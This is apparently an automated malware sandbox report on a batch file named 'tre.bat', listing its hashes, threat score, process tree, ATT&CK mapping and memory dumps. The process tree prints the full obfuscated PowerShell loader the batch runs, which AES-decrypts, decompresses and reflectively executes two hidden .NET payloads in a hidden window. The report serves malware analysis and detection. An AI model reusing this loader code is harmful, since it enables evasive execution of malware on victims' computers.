9eb51151389425c487c68c0f293d80fe0c8f894aedcf797fbc37e8bdf4cf1ecf

Analysis

max time kernel
1556s
max time network
1557s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
15/09/2024, 02:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tre.bat
Size

186KB
MD5

49a0a6fd50d78530a1d0165530bbf452
SHA1

d7c0a6fda37c34e19da741946624e33632372f01
SHA256

9eb51151389425c487c68c0f293d80fe0c8f894aedcf797fbc37e8bdf4cf1ecf
SHA512

1e64aa6cc815dbc537164dec8ef885bdee00e6a02836065c0dadbb440737eb9a1ec361aa6cd9c3c6d8e545a817c554b76b132fd81d4c24089208e8b5c7be1dc1
SSDEEP

3072:Y3QUaDntxn+cceixWDdNllmYtUA8HnUe/EEQjnj/2+AZ8E9zl7LWe9hCWANSblHO:IQt+wixAjSYjcEE6j/2+A+2zl7aemM1O

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2452	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2452	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2452	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1744 wrote to memory of 2280	1744	cmd.exe	29
PID 1744 wrote to memory of 2280	1744	cmd.exe	29
PID 1744 wrote to memory of 2280	1744	cmd.exe	29
PID 1744 wrote to memory of 2452	1744	cmd.exe	30
PID 1744 wrote to memory of 2452	1744	cmd.exe	30
PID 1744 wrote to memory of 2452	1744	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tre.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EZjs3O/YrRsf+LkoNU2BNTXusVrRTrhZDt/IW5OIKd8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0QizlgZdzVSwDxP7nx/ZUg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TsyGO=New-Object System.IO.MemoryStream(,$param_var); $VvkGv=New-Object System.IO.MemoryStream; $KtTST=New-Object System.IO.Compression.GZipStream($TsyGO, [IO.Compression.CompressionMode]::Decompress); $KtTST.CopyTo($VvkGv); $KtTST.Dispose(); $TsyGO.Dispose(); $VvkGv.Dispose(); $VvkGv.ToArray();}function execute_function($param_var,$param2_var){ $XLGwI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qkGHc=$XLGwI.EntryPoint; $qkGHc.Invoke($null, $param2_var);}$kzNdt = 'C:\Users\Admin\AppData\Local\Temp\tre.bat';$host.UI.RawUI.WindowTitle = $kzNdt;$LidIz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kzNdt).Split([Environment]::NewLine);foreach ($BOGXT in $LidIz) { if ($BOGXT.StartsWith('IKSBZaKgyIgKWkvfRYxG')) { $WxcLQ=$BOGXT.Substring(20); break; }}$payloads_var=[string[]]$WxcLQ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2452-4-0x000007FEF572E000-0x000007FEF572F000-memory.dmp

Filesize
4KB

Download
memory/2452-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2452-9-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/2452-8-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/2452-7-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/2452-6-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2452-10-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/2452-11-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download
memory/2452-12-0x000007FEF572E000-0x000007FEF572F000-memory.dmp

Filesize
4KB

Download
memory/2452-13-0x000007FEF5470000-0x000007FEF5E0D000-memory.dmp

Filesize
9.6MB

Download